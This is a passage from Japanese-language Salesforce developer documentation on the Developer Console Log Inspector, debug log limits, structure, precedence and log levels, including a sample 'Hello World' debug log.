ルに表示されます。開発者コンソールからメタデータ表現を開くことはできません。『Force.com Metadata

API 開発者ガイド』の「ValidationRule」および「Workflow」を参照してください。

Variable (変数)
変数にいつ値が代入されるのか、その値は何であるかを確認するには、[Variable (変数)] パネルを使用します。
任意の Variable イベントをクリックすると、セクションに値が入ります。

メモ: [Apex Code (Apexコード)]ログレベルは、記録される変数の割り当てに対して Finest に設定する必
要があります。

変数の内容を表示するもう 1 つの方法は、チェックポイントを使用することです。チェックポイントを使用す
ることにより、実行のある時点でメモリに保持されているエンティティの詳細を表示できます。詳細は、「Apex

コードへのチェックポイントの設定」を参照してください。
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Execution Overview (実行概要): Save Order (保存順序)、Limits (制限)、Timeline (タ
イムライン)、Executed Units (実行単位)
ログインスペクタの下部にある The [Execution Overview (実行概要)] パネルには、次の 4 つのタブがあります。
• [Save Order (保存順序)] タブには、DML アクションのタイムラインが色分けして表示されます。実行された

DML アクションごとに、保存順序要素がタイムラインに矩形として表示されます。

次の色は、各要素を区別するために使用されます。

種別色

before トリガ赤

after トリガオレンジ

入力規則緑

割り当てルール青

ワークフロールール紫

特定の要素の詳細を表示するには、タイムラインで関連付けられた矩形をクリックします。ポップアップ
ウィンドウに、ログの関連する位置に直接移動するためのリンクを含む、追加情報が表示されます。
影響を受けるレコードの ID を表示するには、左ペインで sObject の名前をクリックします。

• [Limits (制限)] タブには、全体的なシステム制限の名前、使用量が表示され、次の情報が含まれます。

説明列

制限の名前Limit (制限)

この実行時点でこのプロセスによって使用されていた制限量Used so far (現在まで
の使用状況)

完了時に要求によって使用されたこの制限量Request total (要求合
計)

制限の合計量Total available (使用可
能合計)
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• [Timeline (タイムライン)] タブでは、各プロセスにかかった時間が視覚的に表示されます。[Scale (スケール)]

オプションを選択すると、結果が最も使いやすいビューに表示されます。

[Timeline (タイムライン)] タブには、次の情報が含まれます。

説明列

プロセスタイプCategory (カテゴリ)

そのプロセスにかかった時間 (ミリ秒)Millis (ミリ秒)

要求全体のうち、このプロセスにかかった割合%

• [Executed Units (実行単位)] タブには、プロセスの各項目で使用されたシステムリソースが表示されます。

タブの下部にあるボタンを使用して、表示する情報を項目の種類によって除外できます。たとえば、メソッ
ドの詳細を表示しない場合は、[Methods (メソッド)]をクリックします。ボタンをもう 1 回クリックすると、
条件がクリアされます。
[Executed Units (実行単位)] タブには、次の情報が含まれます。

説明列

プロセスの項目の種類。次の種類があります。What (種類)

– Method (メソッド)

– Queries (クエリ)

– Workflow (ワークフロー)

– Callouts (コールアウト)

– DML

– Validations (入力規則)

– Triggers (トリガ)
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説明列

– Pages (ページ)

プロセスの項目の名前Name (名前)

項目の合計実行時間Sum (合計)

項目の平均実行時間Avg (平均)

項目の最大実行時間Max (最大)

項目の最小実行時間Min (最少)

プロセス処理中にその項目がコールされた回数Count (件数)

ヒープでその項目が使用したスペース量Heap (ヒープ)

クエリの種類。値は次のとおりです。Query Type (クエリ種
別) – SOQL

– SOSL

その項目で変更されたレコード数の合計Sum rows (合計列数)

その項目で変更されたレコード数の平均値Avg rows (平均列数)

その項目で変更されたレコード数の最大値Max rows (最大列数)

その項目で変更されたレコード数の最少値Min rows (最少列数)

情報を特定の列で並び替えるには、列ヘッダーをクリックします。

重要:  Mac を使用していて、ログインスペクタのパネルにスクロールバーが表示されない場合は、[システ
ム環境設定] > [一般] を開き、[スクロールバーを表示] を「常に表示」に設定します。

ログインスペクタの使用例

関連トピック:

開発者コンソールの [Debug (デバッグ)] メニュー
[Logs (ログ)] タブ
ログインスペクタのパースペクティブの管理
ログインスペクタのカスタムパースペクティブの作成

ログインスペクタの使用例
ここでは、ログインスペクタを使用して、問題を診断し、解決するいつくかの方法を紹介します。
• 実行パスの追跡
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• System.Debug ステートメントの表示
• ソースコードの更新
• 要求での DML の追跡
• Visualforce ページのパフォーマンスの評価
• 複雑なプロセスの表示
実行パスの追跡

シナリオ: ログインスペクタでデバッグログを開きました。この情報を確認する方法は?

1. [Execution Log (実行ログ)] パネルで [Executable (実行可能)] を選択して、累積制限情報など、実行可能では
ないステップをすべて排除します。

2. [Execution Overview (実行概要)] パネルで [Executed Units (実行単位)] タブをクリックして、要求のさまざまな
種類の操作の集計値を表示します。たとえば、メソッド種別ごとの DML 操作の数またはさまざまなメ
ソッドの数を表示できます。

3. [Limits (制限)] タブをクリックして、この操作で使用するガバナ制限を表示します。
System.Debug ステートメントの表示

シナリオ: 要求の進行状況を追跡するために、いくつもの System.Debug ステートメントをコードに追加
しました。ログインスペクタを使用してこれらのステートメントを見つける方法は?

1. [Execution Log (実行ログ)] パネルで、[Filter (検索条件)] を選択します。
2. 入力ボックスに「DEBUG」(大文字) と入力します。
要求内の文字列「DEBUG」を含む行のみが表示されます。

ソースコードの更新
シナリオ: 要求実行後、デバッグログに、Apex コードのエラーがあることに気付きました。この Apex コー
ドを最も簡単に編集する方法は?

1. ソースパネルから、コードの行を選択します。
2. [Open (開く)] をクリックします。
クラスまたはトリガが新しい [Source Code Editor (ソースコードエディタ)] タブで開きます。

要求での DML の追跡
シナリオ: 要求のさまざまな場所に、多くの DML ステートメントが含まれています。要求内で DML が実行さ
れた回数を確認する方法は?

ここでは、要求の途中で実行された実際の DML を調べるためにデバッグログをドリルインするための 2 つ
の方法について説明します。
1. [Execution Log (実行ログ)] パネルで [Filter (検索条件)]を選択し、次に「DML」と入力します。イベントまた

は詳細の任意の場所に DML が含まれる要求のすべての項目が表示されます。
2. [Execution Overview (実行概要)] パネルで [Executed Units (実行単位)] タブをクリックし、DML を除くその他す

べての実行タイプを無効化します。ボタンは切り替え式です。1 回クリックして、リストから該当する
操作の種類を絞り込みます。検索条件を無効化するには、再度クリックします。DML のみを表示するに
は、[Methods (方法)]、[Queries (クエリ)]、[Workflow (ワークフロー)]、[Callouts (コールアウト)]、[Validations

(入力規則)]、[Triggers (トリガ)]、[Visualforce Pages (Visualforce ページ)] をクリックします。
• DML 操作の詳細には、影響を受けるオブジェクトの種類と、実行された具体的な操作 (挿入、更新な

ど) が表示されます。また、DML ステートメントを実行した回数、行数なども表示できます。
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• [Executed Units (実行単位)] タブの DML 要求項目をクリックすると、[Execution Log (実行ログ)] では要求の
他のすべてのパーツが除外され、DML ステートメントのみが表示されます。

これらの手順を使用して、クエリも検索して絞り込むことができます。
Visualforce ページのパフォーマンスの評価

シナリオ: SOQL クエリを実行する Visualforce ページおよび Apex コントローラがあります。ページのパフォー
マンスを分析し、最も時間のかかるコードユニットを見つける方法は? 要求で実行されるクエリの数を特定
する方法は? ガバナ制限にどの程度接近しているかを確認する方法は?

1. [Stack Tree (スタックツリー)] パネルで、Visualforce ページの名前を検索します。最上位のフォーマットは
/apex/pagename です。上位レベルの下にある最初のノードは、ページの実際の実行を示します。そ
のノードを開くと、いつコントローラが初期化されたかが示されます。

2. 引き続き、ノードを開いてメソッドの呼び出しと各メソッドにかかる時間を調べます。[Stack Tree (スタッ
クツリー)] パネルの項目をクリックすると、[Execution Log (実行ログ)] パネルにデバッグログの該当部分
が表示されます。また、[Source (ソース)] パネルが更新されて、該当するソースコードが表示され、
[Variables (変数)] パネルにはコンテキスト内にある変数が表示されます。

3. [Execution Overview (実行概要)] パネルで、[Executed Units (実行単位)] タブをクリックすると、実行時間 (ミリ
秒) とヒープサイズ (バイト) を含むコードの統計が表示されます。[Cnt (件数)] 列には、特定のコードユ
ニットが実行された回数が表示されます。コードユニットが複数回実行されると、実行時間の合計、平
均、最大および最小実行時間が更新されます。同様に、クエリが複数回実行された場合、表示が更新さ
れて、返された行の集計数の要約が表示されます。
表示の対象外とするコードユニットに対応する下側にあるボタンをクリックすると、そのコードユニッ
トを除外できます。この実行方法の詳細は、「要求での DML の追跡」を参照してください。

4. [Limits (制限)] タブをクリックすると、適用される制限を検証し、適用される各制限に要求がどの程度接
近しているかを確認できます。[Total Available (使用可能合計)] 列には、操作の種類ごとに組織に許容され
るガバナ制限が表示されます。[Request Total (要求合計)] 列には、実行した要求の合計数が表示されます。
[Used So Far (現在までの使用状況)] 列には、スタック追跡または実行ログで選択した実行時点で使用され
ている要求数が表示されます。

5. [Timeline (タイムライン)] タブをクリックすると、実行されたコードユニットのタイプ別内訳がビジュア
ル表示され、タイプごとの実行時間の合計と割合も表示されます。タイムラインでは、要求のどの部分
で最も時間がかかったかがすばやく確認できます。集計セクションの下にある期間を選択すると、タイ
ムラインの表示期間を延長または短縮できます。
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この例では、データベース要求に最も時間 (56.95%) がかかっています。次に時間がかかっているのは、
Visualforce ページです。最も時間がかかっていないのは、Apex コードです。また、Visualforce ページおよ
び Apex コードは最初と最後に実行され、その間にデータベース操作が実行されています。

複雑なプロセスの表示
シナリオ: プロセスは複雑で、複数のApexクラス、トリガ、ワークフロー、入力規則が含まれます。この場
合に結果として得られるデバッグログをステップスルーするまたは絞り込むのに最適な方法は?

1. [Stack (スタック)] セクションには、要求のすべての最上位項目の実行パスを示すツリー構造が表示され
ます。これを使用すると、実行時の項目の階層を参照できます。

2. 実行ログの [Filter (検索条件)]入力ボックスを使用します。たとえば、トリガ固有のイベントに関心があ
る場合は、[Filter (検索条件)] をクリックして、「trigger」と入力します。「trigger」という語を含
むデバッグログの行のみが実行ログセクションに表示されます。

3. [Execution Log (実行ログ)] タブの範囲を実行の選択された特定の単位に制限するには、[This Frame (このフ
レーム)] を選択します。たとえば、実行ログの CODE_UNIT_STARTED を含む行を選択して [This Frame

(このフレーム)] をクリックすると、実行ログには CODE_UNIT_STARTED からそれと対の
CODE_UNIT_ENDED までに発生した要求の項目のみが表示されます。

メモ: [This Frame (このフレーム)] が選択されている場合、[Execution Log (実行ログ)] にはそのフレー
ムに含まれる項目のみが表示され、それより下のレベルの操作は表示されません。たとえば、トリ
ガがクラスをコールすると、[Execution Log (実行ログ)] にはトリガ操作のみが表示され、クラス操作
は表示されません。

インスペクタパースペクティブのログ記録

ログインスペクタのカスタムパースペクティブの作成
パースペクティブは、開発者コンソールのログインスペクタに含まれるパネルの事前定義されたレイアウトで
す。
ログインスペクタでタスクを実行するときには、タスクをすばやく簡単に完了できるパースペクティブを使用
します。開発者には、それぞれのやり方があります。標準搭載のパースペクティブの一覧については、「ログ
インスペクタ」を参照してください。
カスタムパースペクティブ作成または既存のパースペクティブ変更の手順は、次のとおりです。
1. 開発者コンソールのログインスペクタでログを開きます。
2. [Debug (デバッグ)] > [View Log Panels (ログパネルを参照)] をクリックし、パースペクティブに含めるパネル

を選択します。
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使用可能なパネルの一覧については、「ログパネル」を参照してください。パースペクティブを変更する
と、保存するまでパースペクティブ名に * が付加されます。

ヒント: [Execution Log (実行ログ)] パネルが含まれるパースペクティブを作成する場合、[Source (ソー
ス)] パネルも必要になることがあります。

3. 変更内容を保存するには、[Save Perspective (パースペクティブを保存)]をクリックします。新しいパースペ
クティブを作成するには、[Save Perspective As (名前を付けてパースペクティブを保存)]をクリックし、新し
い名前を入力します。

関連トピック:

ログインスペクタ
ログインスペクタのパースペクティブの管理

ログインスペクタのパースペクティブの管理
パースペクティブは、開発者コンソールのログインスペクタに含まれるパネルの事前定義されたレイアウトで
す。
ログインスペクタでタスクを実行するときには、ジョブに合ったパースペクティブを選択します。
パースペクティブを管理するには、[Debug (デバッグ)] > [Perspective Manager (パースペクティブマネージャ)]を
クリックします。
• 別のパースペクティブに切り替えるには、パースペクティブ名をダブルクリックするか、パースペクティ

ブを選択して [Open (開く)] をクリックします。
• デフォルトのパースペクティブを変更するには、パースペクティブ名を選択して [Set Default (デフォルト値

を設定)] をクリックします。
• パースペクティブを削除するには、パースペクティブ名を選択して [Delete (削除)] をクリックします。
• カスタムパースペクティブを作成するには、「ログインスペクタのカスタムパースペクティブの作成」を

参照してください。
次のパースペクティブは、事前に定義されています。
• [All] (デフォルト)
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• Debug (デバッグ): コードデバッグ用に設計されたパースペクティブで、[Execution Log (実行ログ)]、[Source

(ソース)]、および [Variables (変数)] パネルが含まれます。

• Log Only (ログのみ): ログ実行を表示するための汎用的なパースペクティブで、[Execution Log (実行ログ)] パネ
ルのみが含まれます。
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• Analysis (分析): ログ分析用に設計されたパースペクティブで、[Stack Tree (スタックツリー)]、[Execution Stack (実
行スタック)]、[Execution Log (実行ログ)]、および [Execution Overview (実行概要)] パネルが含まれます。

タスクをすばやく簡単に完了できるパースペクティブを使用します。開発者にはそれぞれのやり方があります
ので、事前定義されたパースペクティブがニーズに合わない場合は、独自のパースペクティブを簡単に作成で
きます。詳細は、「ログインスペクタのカスタムパースペクティブの作成」を参照してください。

関連トピック:

ログインスペクタ
ログインスペクタのカスタムパースペクティブの作成
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[View State (ビューステート)] タブ
開発者コンソールの [表示状態] タブでは、Visualforce ページ要求のビューステートを調べることができます。

開発者コンソールの [View State (ビューステート)] タブは、フォルダノードをダブルクリックしても利用状況円
グラフウィンドウが開かない点を除き、Visualforce 開発モードフッターの [View State (ビューステート)] タブと同
じように機能します。詳細は、『Visualforce 開発者ガイド』の「[View State (ビューステート)] タブについて」を
参照してください。

[View State (ビューステート)] タブの有効化
[View State (ビューステート)] タブを有効にする手順は、次のとおりです。
1. [個人設定] から、[クイック検索] ボックスに「高度なユーザの詳細」と入力し、[高度なユーザの詳細] を選

択します。結果がありませんか? [クイック検索] ボックスに「個人情報」と入力し、[個人情報]を選択しま
す。

2. [編集] をクリックします。
3. [開発モード] チェックボックスがオフの場合は、オンにします。
4. [開発モードでビューステートを表示] チェックボックスをオンにします。
5. [保存] をクリックします。

メモ: ビューステートはフォームデータにリンクしているため、[View State (ビューステート)] タブは、ペー
ジに <apex:form>タグが含まれる場合にのみ表示されます。また、[View State (ビューステート)] タブは、
カスタムコントローラまたはコントローラ拡張を使用するページにのみ表示されます。
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デバッグログ
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Performance Edition、
Unlimited Edition、
Developer Edition、
Enterprise Edition、および
Database.com Edition

Salesforce ユーザインター
フェース、メールサービ
ス、および承認は、
Database.com Edition では
利用できません。

ユーザ権限

「すべてのデータの参照」開発者コンソールを使用する

「Apex 開発」Apex を匿名実行する

「API の有効化」[クエリ] タブで、コード検索を使用して、
SOQL または SOSL を実行する

「Apex 開発」Apex クラスとトリガへの変更を保存す
る

「アプリケーションのカスタマイズ」Visualforce ページおよびコンポーネント
への変更を保存する

「アプリケーションのカスタマイズ」Lightning リソースへの変更を保存する

デバッグログを使用して、組織で発生するイベントを追跡します。デバッグロ
グが生成されるのは、有効なユーザベースの追跡フラグがある場合、Apex テス
トを実行した場合、実行したコードまたは API 要求にデバッグパラメータまたは
ヘッダーが含まれている場合です。
デバッグログには、データベースの操作、システムプロセス、トランザクションの実行時または単体テストの
実行中に発生したエラーを記録できます。デバッグログには、次の情報を記載できます。
• データベースの変更
• HTTP コールアウト
• Apex エラー
• Apex によって使用されるリソース
• 次のような自動化されたワークフロー処理:

– ワークフロールール
– 割り当てルール
– 承認プロセス
– 入力規則

メモ: デバッグログに、時間ベースのワークフローでトリガされたアクションからの情報は記載され
ません。

システムは、定義された検索条件に含まれるトランザクションが実行されるたびにデバッグログを生成しま
す。
トランザクションは、以下を使用して生成できます。
• Salesforce ユーザインターフェース
• API

• executeanonymous コール
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• Web サービス
• メールサービス
ユーザに設定された検索条件、開発者コンソールまたは API ヘッダーによって、デバッグログに含まれる内容
を指定します。

メモ: デバッグログには、リードの取引開始でトリガされるトランザクションは含まれません。たとえ
ば、取引開始したリードがワークフロールールを起動したとします。デバッグログには、起動されたこ
のワークフロールールは表示されません。

次に、デバッグログの使用例を示します。
• カスタムアプリケーションを作成する開発者は、デバッグログを使用してアプリケーションの動作を検証

できます。たとえば、コールアウトをチェックするデバッグログの条件を設定し、結果のデバッグログで
これらのコールアウトの成功、および期間に関する情報を参照できます。

• 組織のシステム管理者は、デバッグログを使用してユーザから問題が報告されたときにトラブルシューティ
ングできます。ユーザの追跡フラグを設定して、ユーザに問題のあるトランザクションをステップスルー
するように要求し、その後デバッグログを使用してシステムの詳細を参照します。

デバッグログの制限
デバッグログに関する制限は次のとおりです。
• 各デバッグログは最大2 MBです。デバックログのサイズが2 MBを超えると、System.debugステートメン

トの始めの方のログの行など、古いログの行が削除されてサイズが縮小されます。ログの行は、デバッグ
ログの最初からだけでなく、どの位置からでも削除できます。

• 各組織は最大 50 MBのデバッグログを保持できます。組織のデバッグログが 50 MBに達すると、最も古いデ
バッグログから上書きされます。

デバッグログの切り捨て
最も関連性のある情報を提供するために、デバッグログは古いログエントリから切り捨てられます。最も新し
いログエントリは常に保持されます。デバッグログの最大サイズの 2 MBに達すると、200 KBのログが削除され
ます。
次のイベントはデバッグログの処理に必要であるため、切り捨てで削除されません。
• EXECUTION_STARTED

• EXECUTION_FINISHED

• CODE_UNIT_STARTED

• CODE_UNIT_FINISHED

• METHOD_ENTRY

• METHOD_EXIT

• CONSTRUCTOR_ENTRY

• CONSTRUCTOR_EXIT

• SOQL_EXECUTE_BEGIN

• SOQL_EXECUTE_END

• SOSL_EXECUTE_BEGIN
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• SOSL_EXECUTE_END

• CALLOUT_REQUEST

• CALLOUT_RESPONSE

• FATAL_ERROR

メモ: デバッグログの処理に必要なイベントのログエントリは切り捨てられません。ただし、これらのロ
グエントリの開始行と終了後の間に表示されるその他のログ情報はログの切り捨てで削除されます。

デバッグログの詳細
デバッグログには、ヘッダー、実行ユニット、コードユニット、ログの行、その他のログデータが含まれ
ます。
デバッグログの優先順位
ログに記録されるイベントは、さまざまな要素に応じて決まります。これらの要素として、追跡フラグ、
デフォルトのログレベル、APIヘッダー、ユーザベースのシステムログ有効化、エントリポイントによって
設定されたログレベルなどがあります。
デバッグログレベル
デバッグログに含まれる情報のレベルを指定するには、追跡フラグとデバッグレベルを設定します。追跡
フラグに割り当てられたデバッグレベルにより、さまざまなイベントに対してログに記録される情報の種
類と量が制御されます。ログが記録されたら、デバッグログでデバッグイベントを調べます。
デバッグログの検索
デバッグログ内のテキストを検索するには、開発者コンソールのコマンドラインウィンドウを使用します。
Apex クラスおよび Apex トリガ用デバッグログの検索条件

関連トピック:

デバッグログの詳細
デバッグログの検索

デバッグログの詳細

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

ユーザ権限

「すべてのデータの参照」開発者コンソールを使用する

「Apex 開発」Apex を匿名実行する

「API の有効化」[クエリ] タブで、コード検索を使用して、
SOQL または SOSL を実行する

「Apex 開発」Apex クラスとトリガへの変更を保存す
る

「アプリケーションのカスタマイズ」Visualforce ページおよびコンポーネント
への変更を保存する

「アプリケーションのカスタマイズ」Lightning リソースへの変更を保存する
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デバッグログには、ヘッダー、実行ユニット、コードユニット、ログの行、その他のログデータが含まれま
す。

デバッグログセクションの調査
デバッグログを生成した後、表示される情報の種類や量は、ユーザに設定した検索値によって異なります。た
だし、デバッグログの形式は常に同じです。
デバッグログには、次のセクションがあります。
ヘッダー

ヘッダーには、次の情報が含まれます。
• トランザクションで使用される API のバージョン。
• ログの生成に使用されるログのカテゴリとレベル。例:

次に、ヘッダーの例を示します。
39.0
APEX_CODE,DEBUG;APEX_PROFILING,INFO;CALLOUT,INFO;DB,INFO;SYSTEM,DEBUG;VALIDATION,INFO;VISUALFORCE,INFO;
WORKFLOW,INFO

この例では、API バージョンは 39.0 で、次のデバッグログカテゴリおよびレベルが設定されています。

DEBUGApex コード
INFOApex プロファイリング
INFOコールアウト
INFOデータベース
DEBUGシステム
INFO入力規則
INFOVisualforce

INFOワークフロー

実行ユニット
実行ユニットは、トランザクションと同じです。実行ユニットには、トランザクション内で発生したすべ
ての情報が含まれています。EXECUTION_STARTED と EXECUTION_FINISHED の間が実行ユニットの範囲
です。

コードユニット
コードユニットは、トランザクション内の作業単位です。たとえば、webService メソッド、または入力
規則であるトリガはコードの単位の 1 つです。

メモ: クラスはコードの単位ではありません。
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CODE_UNIT_STARTED と CODE_UNIT_FINISHED の間が、コードの単位の範囲です。作業の単位に他の作
業単位を組み込むことができます。次に例を示します。
EXECUTION_STARTED
CODE_UNIT_STARTED|[EXTERNAL]execute_anonymous_apex
CODE_UNIT_STARTED|[EXTERNAL]MyTrigger on Account trigger event BeforeInsert for [new]
CODE_UNIT_FINISHED <-- The trigger ends
CODE_UNIT_FINISHED <-- The executeAnonymous ends
EXECUTION_FINISHED

コードの単位には、次が含まれますが、これらには限定されません。
• トリガ
• ワークフローの呼び出しおよび時間ベースのワークフロー
• 入力規則
• 承認プロセス
• Apex リードの変換
• @future メソッドの呼び出し
• Web サービスの呼び出し
• executeAnonymous コール
• Apex コントローラの Visualforce プロパティアクセス
• Apex コントローラの Visualforce アクション
• execute メソッドの各実行のほか、Apex start メソッドや finish メソッドの一括実行
• Apex System.Schedule execute メソッドの実行
• 受信メールの処理

ログの行
ログの行は、コードユニット内に含まれ、どのコードやルールが実行されたかを示します。ログの行は、
デバッグログに書き込まれたメッセージである場合もあります。次に例を示します。

ログの行は、一連の項目で構成され、項目はパイプ (|) で区切られます。形式は次のとおりです。
• タイムスタンプ: イベント発生時の時刻と括弧で囲まれた値で構成されます。時刻はユーザのタイムゾー

ンで、形式は HH:mm:ss.SSS となります。括弧内の値は、要求が開始されてからの経過時間をナノ秒
単位で表します。[Execution Log (実行ログ)] ビューを使用すると、経過時間の値は開発者コンソールで確
認したログには含まれません。ただし、[Raw Log (未加工ログ)] ビューを使用すると、経過時間を確認で
きます。[Raw Log (未加工ログ)] ビューを開くには、開発者コンソールの [Logs (ログ)] タブからログの名前
を右クリックし、[Open Raw Log (未加工のログを開く)] を選択します。
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• イベント識別子: デバッグログエントリをトリガしたイベントを指定します (SAVEPOINT_RESET や
VALIDATION_RULE など)。コードが実行されたメソッド名、または行番号と文字番号など、そのイベ
ントで記録された詳細情報も含まれます。

その他のログデータ
さらに、ログには次の情報が含まれます。
• 累積リソース使用状況は、多くのコードユニットの末尾に記録されます。このようなコードユニットと

して、トリガ、executeAnonymous、Apex のメッセージの一括処理、@future メソッド、Apex テスト
メソッド、Apex Web サービスメソッド、Apex リードの取引開始などがあります。

• 累積プロファイル情報はトランザクションの終わりに 1 回記録され、DML の呼び出し、コストのかかる
クエリなどの情報が含まれます。「コストのかかる」クエリでは、多くのリソースが使用されます。

次に、デバッグログの例を示します。
37.0 APEX_CODE,FINEST;APEX_PROFILING,INFO;CALLOUT,INFO;DB,INFO;SYSTEM,DEBUG;

VALIDATION,INFO;VISUALFORCE,INFO;WORKFLOW,INFO
Execute Anonymous: System.debug('Hello World!');
16:06:58.18 (18043585)|USER_INFO|[EXTERNAL]|005D0000001bYPN|devuser@example.org|

Pacific Standard Time|GMT-08:00
16:06:58.18 (18348659)|EXECUTION_STARTED
16:06:58.18 (18383790)|CODE_UNIT_STARTED|[EXTERNAL]|execute_anonymous_apex
16:06:58.18 (23822880)|HEAP_ALLOCATE|[72]|Bytes:3
16:06:58.18 (24271272)|HEAP_ALLOCATE|[77]|Bytes:152
16:06:58.18 (24691098)|HEAP_ALLOCATE|[342]|Bytes:408
16:06:58.18 (25306695)|HEAP_ALLOCATE|[355]|Bytes:408
16:06:58.18 (25787912)|HEAP_ALLOCATE|[467]|Bytes:48
16:06:58.18 (26415871)|HEAP_ALLOCATE|[139]|Bytes:6
16:06:58.18 (26979574)|HEAP_ALLOCATE|[EXTERNAL]|Bytes:1
16:06:58.18 (27384663)|STATEMENT_EXECUTE|[1]
16:06:58.18 (27414067)|STATEMENT_EXECUTE|[1]
16:06:58.18 (27458836)|HEAP_ALLOCATE|[1]|Bytes:12
16:06:58.18 (27612700)|HEAP_ALLOCATE|[50]|Bytes:5
16:06:58.18 (27768171)|HEAP_ALLOCATE|[56]|Bytes:5
16:06:58.18 (27877126)|HEAP_ALLOCATE|[64]|Bytes:7
16:06:58.18 (49244886)|USER_DEBUG|[1]|DEBUG|Hello World!
16:06:58.49 (49590539)|CUMULATIVE_LIMIT_USAGE
16:06:58.49 (49590539)|LIMIT_USAGE_FOR_NS|(default)|
Number of SOQL queries: 0 out of 100
Number of query rows: 0 out of 50000
Number of SOSL queries: 0 out of 20
Number of DML statements: 0 out of 150
Number of DML rows: 0 out of 10000
Maximum CPU time: 0 out of 10000
Maximum heap size: 0 out of 6000000
Number of callouts: 0 out of 100
Number of Email Invocations: 0 out of 10
Number of future calls: 0 out of 50
Number of queueable jobs added to the queue: 0 out of 50
Number of Mobile Apex push calls: 0 out of 10

16:06:58.49 (49590539)|CUMULATIVE_LIMIT_USAGE_END

6875

デバッグログコードを使用した Salesforce の拡張



16:06:58.18 (52417923)|CODE_UNIT_FINISHED|execute_anonymous_apex
16:06:58.18 (54114689)|EXECUTION_FINISHED

関連トピック:

デバッグログレベル
デバッグログの検索

デバッグログの優先順位

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

ログに記録されるイベントは、さまざまな要素に応じて決まります。これらの
要素として、追跡フラグ、デフォルトのログレベル、APIヘッダー、ユーザベー
スのシステムログ有効化、エントリポイントによって設定されたログレベルな
どがあります。
デバッグログレベルの優先順位は次のとおりです。
1. 追跡フラグによって、他のすべてのログ記録ロジックが上書きされます。開

発者コンソールは読み込み時に追跡フラグを設定し、その追跡フラグは期限
が切れるまで有効な状態が続きます。追跡フラグは、開発者コンソールまた
は [設定] で、あるいは TraceFlag および DebugLevel Tooling API オブジェ
クトを使用して設定できます。

メモ: クラスおよびトリガの追跡フラグを設定してもログの生成や保存
は行われません。クラスおよびトリガの追跡フラグによって他のログレ
ベル (ユーザ追跡フラグによって設定されたログレベルなど) が上書きさ
れますが、ログが記録されることはありません。クラスまたはトリガが
実行されたときにログ記録が有効であれば、実行時にログが生成されま
す。

2. 有効な追跡フラグがない場合、同期または非同期Apexテストがデフォルトのログレベルで実行されます。
デフォルトのログレベルは次のとおりです。
DB

INFO

APEX_CODE
DEBUG

APEX_PROFILING
INFO

WORKFLOW
INFO

VALIDATION
INFO

CALLOUT
INFO

VISUALFORCE
INFO
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SYSTEM
DEBUG

3. 関連する追跡フラグが無効でテストが実行中ではない場合は、APIヘッダーでログレベルが設定されます。
デバッグヘッダーなしで送信されたAPI要求では、別のログルールが有効な場合を除き、一時的なログ、つ
まり保存されないログが生成されます。

4. エントリポイントでログレベルが設定されている場合は、そのログレベルが使用されます。たとえば、
Visualforce 要求には、ログレベルを設定するデバッグパラメータを含めることができます。

上記のいずれも該当しない場合、ログの生成と保持は行われません。

関連トピック:

デバッグログの設定
[Logs (ログ)] タブ
デバッグログの詳細
デバッグログレベル
Force.com Tooling API Developer’s Guide: TraceFlag

Apex 開発者ガイド: DebuggingHeader

デバッグログレベル

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

ユーザ権限

「すべてのデータの参照」開発者コンソールを使用する

「Apex 開発」Apex を匿名実行する

「API の有効化」[クエリ] タブで、コード検索を使用して、
SOQL または SOSL を実行する

「Apex 開発」Apex クラスとトリガへの変更を保存す
る

「アプリケーションのカスタマイズ」Visualforce ページおよびコンポーネント
への変更を保存する

「アプリケーションのカスタマイズ」Lightning リソースへの変更を保存する

デバッグログに含まれる情報のレベルを指定するには、追跡フラグとデバッグレベルを設定します。追跡フラ
グに割り当てられたデバッグレベルにより、さまざまなイベントに対してログに記録される情報の種類と量が
制御されます。ログが記録されたら、デバッグログでデバッグイベントを調べます。
デバッグレベルは、Database、Workflow、Validation など、デバッグログカテゴリのログレベルのセッ
トです。追跡フラグには、デバッグレベル、開始時刻、終了時刻、ログ種別が含まれます。ログ種別は
DEVELOPER_LOG、USER_DEBUG、および CLASS_TRACING です。
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開発者コンソールを開くと、DEVELOPER_LOG 追跡フラグが設定され、その活動がログに記録されます。
USER_DEBUG 追跡フラグでは、個々のユーザの活動がログに記録されます。CLASS_TRACING 追跡フラグに
よって Apex クラスおよびトリガのログレベルが上書きされますが、ログが生成されることはありません。
開発者コンソールを使用またはデバッグログを監視している場合、ログに含まれる情報のレベルを指定できま
す。
ログカテゴリ

Apex またはワークフロールールの情報など、ログに記録する情報の種類。
ログレベル

ログに記録する情報量。
イベントの種別

記録するイベントを指定するログカテゴリおよびログレベルの組み合わせ。各イベントは、イベントが開
始した行番号や文字番号、イベントに関連する項目、イベントの期間などの追加情報をログに記録できま
す。

デバッグログカテゴリ
各デバッグレベルには、次のログカテゴリごとにデバッグログレベルが含まれます。各カテゴリにログ記録さ
れる情報の量はログレベルによって異なります。

説明ログカテゴリ

すべてのデータ操作言語 (DML) ステートメントあるいはインライン SOQL ま
たは SOSL クエリなど、データベースアクティビティに関する情報を記録し
ます。

データベース

ルール名や実行されるアクションなどのワークフロールール、フロー、プ
ロセスの情報が含まれます。

ワークフロー

ルール名、規則が true または false のどちらに評価したのかなど、入力規則
に関する情報を記録します。

入力規則

サーバが外部 Web サービスから送受信している要求応答 XML を記録しま
す。Force.com Web サービス API コールの使用に関連する問題をデバッグす

コールアウト

る場合や、Salesforce Connect の OData アダプタを使用した外部オブジェクト
へのユーザアクセスをトラブルシューティングする場合に役立ちます。

Apexコードに関する情報が含まれます。DML ステートメントによって生成
されたログメッセージ、インライン SOQL または SOSL クエリ、トリガの開

Apex コード

始と完了、テストメソッドの開始と完了などの情報が含まれることもあり
ます。

名前空間の制限、送信されるメール数などの累積プロファイリング情報が
含まれます。

Apex プロファイリング

ビューステートの逐次化および並列化、Visualforceページの数式項目の評価
など、Visualforce のイベントに関する情報を記録します。

Visualforce
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説明ログカテゴリ

System.debugメソッドなど、すべてのシステムメソッドへのコールに関
する情報を記録します。

システム

デバッグログレベル
